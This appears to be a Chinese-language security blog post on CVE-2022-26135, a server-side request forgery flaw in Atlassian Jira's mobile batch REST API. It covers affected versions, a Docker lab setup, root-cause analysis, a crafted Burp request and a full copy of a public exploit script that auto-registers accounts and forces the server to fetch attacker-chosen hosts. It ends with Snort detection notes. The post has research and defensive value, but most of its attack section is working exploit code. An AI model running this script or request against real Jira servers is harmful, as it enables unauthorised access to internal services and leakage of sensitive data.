抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

漏洞描述

JIRA[4] 是一个缺陷跟踪管理系统,为针对缺陷管理、任务追踪项目管理的商业性应用软件,.基于Java架构的管理系统,开发者是Atlassian集项目计划、任务分配、需求管理、错误跟踪于一体的商业软件。2022年 6月29日,Atlassian官方发布安全公告,在Atlassian Jira 多款产品中存在服务端请求伪造漏洞(SSRF),经过身份验证的远程攻击者可通过向Jira Core REST API发送特制请求,从而伪造服务端发起请求,从而导致敏感信息泄露,同时为下一步攻击利用提供条件。需注意的是,若服务端开启注册功能,则未授权用户可通过注册获取权限进而利用。

利用范围

Jira Core Server, Jira Software Server, and Jira Software Data Center:

  • Versions after 8.0 and before 8.13.22
  • 8.14.x
  • 8.15.x
  • 8.16.x
  • 8.17.x
  • 8.18.x
  • 8.19.x
  • 8.20.x before 8.20.10
  • 8.21.x
  • 8.22.x before 8.22.4

Jira Service Management Server and Data Center:

  • Versions after 4.0 and before 4.13.22
  • 4.14.x
  • 4.15.x
  • 4.16.x
  • 4.17.x
  • 4.18.x
  • 4.19.x
  • 4.20.x before 4.20.10
  • 4.21.x
  • 4.22.x before 4.22.4

环境搭建

https://hub.docker.com/r/weareogury/atlassian-jira-software/tags

1
2
docker pull weareogury/atlassian-jira-software:8.20.8
docker run -d -p 7080:8080 weareogury/atlassian-jira-software:8.20.8

按照步骤配置

图片

配置成功

漏洞复现

位于com.atlassian.jira.plugin.mobile.util.LinkBuilder.class,URL通过简单的拼接构造,而其中的path来自于location,完全可控。location会从json对象中获取,在获取到URL对象后,再调用httpClientProvider发送Http请求。

因为URL的后半部分是可控的,如果我们简单指定location为@xx.com,那么最终的URL为https://[email protected],httpClientProvider实际上会对xx.com发送http请求,所以导致了SSRF漏洞产生。

利用链

burp进行改包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /rest/nativemobile/1.0/batch HTTP/2
Host: issues.example.com
Cookie: JSESSIONID=44C6A24A15A1128CE78586A0FA1B1662; seraph.rememberme.cookie=818752%3Acc12c66e2f048b9d50eff8548800262587b3e9b1; atlassian.xsrf.token=AES2-GIY1-7JLS-HNZJ_db57d0893ec4d2e2f81c51c1a8984bde993b7445_lin
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36
Content-Type: application/json
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Origin: https://issues.example.com
Referer: https://issues.example.com/plugins/servlet/desk
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Length: 63

{"requests":[{"method":"GET","location":"@example.com"}]}

exp脚本

项目地址:https://github.com/assetnote/jira-mobile-ssrf-exploit

使用方式:

1
2
3
# requirements.txt
requests
beautifulsoup4
1
pip3 install -r requirements.txt

and then you can use the exploit using:

1
python3 exploit.py

Help:

1
2
3
4
5
6
7
8
9
10
11
usage: exploit.py [-h] --target TARGET --ssrf SSRF --mode MODE [--software SOFTWARE] [--username USERNAME] [--email EMAIL] [--password PASSWORD]

optional arguments:
-h, --help show this help message and exit
--target TARGET i.e. http://re.local:8090
--ssrf SSRF i.e. example.com (no protocol pls)
--mode MODE i.e. manual or automatic - manual mode you need to provide user auth info
--software SOFTWARE i.e. jira or jsd - only needed for manual mode
--username USERNAME i.e. admin - only needed for manual jira mode
--email EMAIL i.e. [email protected] - only needed for manual jira service desk mode
--password PASSWORD i.e. testing123 - only needed for manual mode

If you already have credentials for Jira / Jira Service Desk, then set the --mode to manual and the --software argument to either jira or jsd.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
import requests
import string
import random
import argparse
from bs4 import BeautifulSoup as bs4
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

parser = argparse.ArgumentParser()
parser.add_argument("--target", help="i.e. http://re.local:8090", required=True)
parser.add_argument("--ssrf", help="i.e. example.com (no protocol pls)", required=True)
parser.add_argument("--mode", help="i.e. manual or automatic - manual mode you need to provide user auth info", required=True, default="automatic")
parser.add_argument("--software", help="i.e. jira or jsd - only needed for manual mode")
parser.add_argument("--username", help="i.e. admin - only needed for manual jira mode")
parser.add_argument("--email", help="i.e. [email protected] - only needed for manual jira service desk mode")
parser.add_argument("--password", help="i.e. testing123 - only needed for manual mode")
args = parser.parse_args()

if args.mode == "manual":
if args.software == "":
print("[*] please pass in a software (jira / jsd)")
if args.software == "jira" and args.email == "" and args.password == "":
print("[*] must provide an email and password for jira in manual mode")
if args.software == "jsd" and args.username == "" and args.password == "":
print("[*] must provide an username and password for jira in manual mode")

# atlast - exploit tested on jira < 8.20.3 / jira service desk < 4.20.3-REL-0018
# for full list of affected jira versions please see the following URL
# https://confluence.atlassian.com/jira/jira-server-security-advisory-29nd-june-2022-1142430667.html
# by shubs
banner = """
_ _ _
__ _| |_| | __ _ ___| |_
/ _` | __| |/ _` / __| __|
| (_| | |_| | (_| \__ \ |_
\__,_|\__|_|\__,_|___/\__|

jira full read ssrf [CVE-2022-26135]
brought to you by assetnote [https://assetnote.io]
"""

print(banner)

proxies = {} # proxy to burp like this - {"https":"http://localhost:8080"}
session = requests.Session()

def detect_jira_root(target):
root_paths = ["/", "/secure/" "/jira/", "/issues/"]
jira_found = ""
for path in root_paths:
test_url = "{}/{}".format(target, path)
r = session.get(test_url, verify=False, proxies=proxies)
if "ajs-base-url" in r.text:
jira_found = path
break
return jira_found

def get_jira_signup(target, base_path):
test_url = "{}{}".format(target, base_path)
r = session.get(test_url, verify=False, proxies=proxies)
signup_enabled = False
if "Signup!default.jspa" in r.text:
signup_enabled = True
return signup_enabled

def signup_user(target, base_path):
test_url = "{}{}secure/Signup!default.jspa".format(target, base_path)
test_url_post = "{}{}secure/Signup.jspa".format(target, base_path)
r = session.get(test_url, verify=False, proxies=proxies)
if 'name="captcha"' in r.text:
print("[*] url {} has captchas enabled, please complete flow manually and provide user and password as arg".format(test_url))
return False, {}
if "Mode Breach" in r.text:
print("[*] url {} has signups disabled, trying JSD approach".format(test_url))
return False, {}
# captcha not detected, proceed with registration
html_bytes = r.text
soup = bs4(html_bytes, 'lxml')
token = soup.find('input', {'name':'atl_token'})['value']
full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6))
email = "{}@example.com".format(full_name)
password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP"
paramsPost = {"password":password,"Signup":"Sign up","atl_token":token,"fullname":full_name,"email":email,"username":full_name}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"atlassian.xsrf.token":token}
r = session.post(test_url_post, data=paramsPost, headers=headers, cookies=cookies, verify=False, proxies=proxies)
if "Congratulations!" in r.text:
print("[*] successful registration")
user_obj = {"username": full_name, "password": password, "email": email}
return True, user_obj

# attempts to signup to root JSD
def register_jsd(target, base_path):
register_url = "{}{}servicedesk/customer/user/signup".format(target, base_path)
full_name = ''.join(random.sample((string.ascii_uppercase+string.digits),6))
email = "{}@example.com".format(full_name)
password = "9QWP7zyvfa4nJU9QKu*Yt8_QzbP"

# try and sign up to the service desk portal without project IDs (easy win?)
rawBody = "{{\"email\":\"{}\",\"fullname\":\"{}\",\"password\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email, full_name, password)
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
r = session.post(register_url, data=rawBody, headers=headers, verify=False, proxies=proxies)
if r.status_code == 204:
print("[*] successful registration")
user_obj = {"username": full_name, "password": password, "email": email}
return True, user_obj
print("[*] url {} has non-captcha user/pass signups disabled :(".format(register_url))
register_email_url = "{}{}servicedesk/customer/user/emailsignup".format(target, base_path)
rawBody = "{{\"email\":\"{}\",\"captcha\":\"\",\"secondaryEmail\":\"\"}}".format(email)
r = session.post(register_email_url, data=rawBody, headers=headers, verify=False, proxies=proxies)
if r.status_code == 204:
print("[*] registration may be possible via emailsignup endpoint")
print("[*] you will have to manually exploit this with a real email")
print("[*] visit {}".format(register_url))
return False, {}
if r.status_code == 400:
print("[*] registration may be possible via emailsignup endpoint")
print("[*] you will have to manually exploit this with a real email and captcha")
print("[*] visit {}".format(register_url))
return False, {}
print(r.status_code)
return False, {}

def exploit_ssrf_jsd(target, base_path, user_obj, ssrf_host):
login_url = "{}{}servicedesk/customer/user/login".format(target, base_path)
paramsPost = {"os_password":user_obj["password"],"os_username":user_obj["email"]}
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies)

if "loginSucceeded" in r.text:
print("[*] successful login")

test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path)
rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host)
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
r = session.post(test_url, data=rawBody, headers=headers)

print("Status code: %i" % r.status_code)
print("Response body: %s" % r.content)

def exploit_ssrf_jira(target, base_path, user_obj, ssrf_host):
login_url = "{}{}login.jsp".format(target, base_path)
paramsPost = {"os_password":user_obj["password"],"user_role":"","os_username":user_obj["username"],"atl_token":"","os_destination":"","login":"Log In"}
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Upgrade-Insecure-Requests":"1","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/x-www-form-urlencoded"}
r = session.post(login_url, data=paramsPost, headers=headers, verify=False, proxies=proxies)

if r.headers["X-Seraph-LoginReason"] == "OK":
print("[*] successful login")

test_url = "{}{}rest/nativemobile/1.0/batch".format(target, base_path)
rawBody = "{{\"requests\":[{{\"method\":\"GET\",\"location\":\"@{}\"}}]}}".format(ssrf_host)
headers = {"Origin":"{}".format(target),"Accept":"*/*","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36","Referer":"{}/servicedesk/customer/portal/1/user/signup".format(target),"Connection":"close","Pragma":"no-cache","DNT":"1","Accept-Encoding":"gzip, deflate","Cache-Control":"no-cache","Accept-Language":"en-US,en;q=0.9","Content-Type":"application/json"}
r = session.post(test_url, data=rawBody, headers=headers)

print("Status code: %i" % r.status_code)
print("Response body: %s" % r.content)


# target = "http://re.local:8090"
# ssrf_host = "907zer1sxey5czbnnf7p9d1zfqlj98.oastify.com"

user_obj = {}

successful_jira_signup = False
successful_jsd_signup = False

jira_root = detect_jira_root(args.target)

if args.mode == "manual" and args.software == "jira":
user_obj = {"username": args.username, "password": args.password, "email": args.email}
exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)

if args.mode == "manual" and args.software == "jsd":
user_obj = {"username": args.username, "password": args.password, "email": args.email}
exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)

if args.mode == "automatic":
signup_enabled = get_jira_signup(args.target, jira_root)
successful_jira_signup, user_obj = signup_user(args.target, jira_root)

if successful_jira_signup == True:
exploit_ssrf_jira(args.target, jira_root, user_obj, args.ssrf)

if successful_jira_signup == False:
# try to sign up to jira service desk instead
successful_jsd_signup, user_obj = register_jsd(args.target, jira_root)
if successful_jsd_signup:
exploit_ssrf_jsd(args.target, jira_root, user_obj, args.ssrf)

if successful_jira_signup == False and successful_jsd_signup == False:
print("[*] sorry boss no ssrf for you today")

规则提取

注意端口范围:

默认的$HTTP_PORTS

1
[36,80,81,82,83,84,85,86,87,88,89,90,311,383,555,591,593,631,801,808,818,901,972,1158,1220,1414,1533,1741,1830,1942,2231,2301,2381,2578,2809,2980,3029,3037,3057,3128,3443,3702,4000,4343,4848,5000,5117,5250,5600,6080,6173,6988,7000,7001,7071,7144,7145,7510,7770,7777,7778,7779,8000,8008,8014,8028,8080,8081,8082,8085,8088,8090,8118,8123,8180,8181,8222,8243,8280,8300,8333,8344,8500,8509,8800,8888,8899,8983,9000,9060,9080,9090,9091,9111,9290,9443,9999,10000,11371,12601,13014,15489,29991,33300,34412,34443,34444,41080,44449,50000,50002,51423,53331,55252,55555,56712] 
1
alert tcp $EXTERNAL_NET any -> $HOME_NET any

特征流量

1
/rest/nativemobile/1.0/batch
1
/plugins/servlet/desk

可以作为提取的特征

snort需要注意的细节

使用http_method的时候,要相应的规定http的端口(http服务),要限定端口或者是使用$HTTP_PORTS 变量。不然无法触发。

参考文章

https://paper.seebug.org/1981/

评论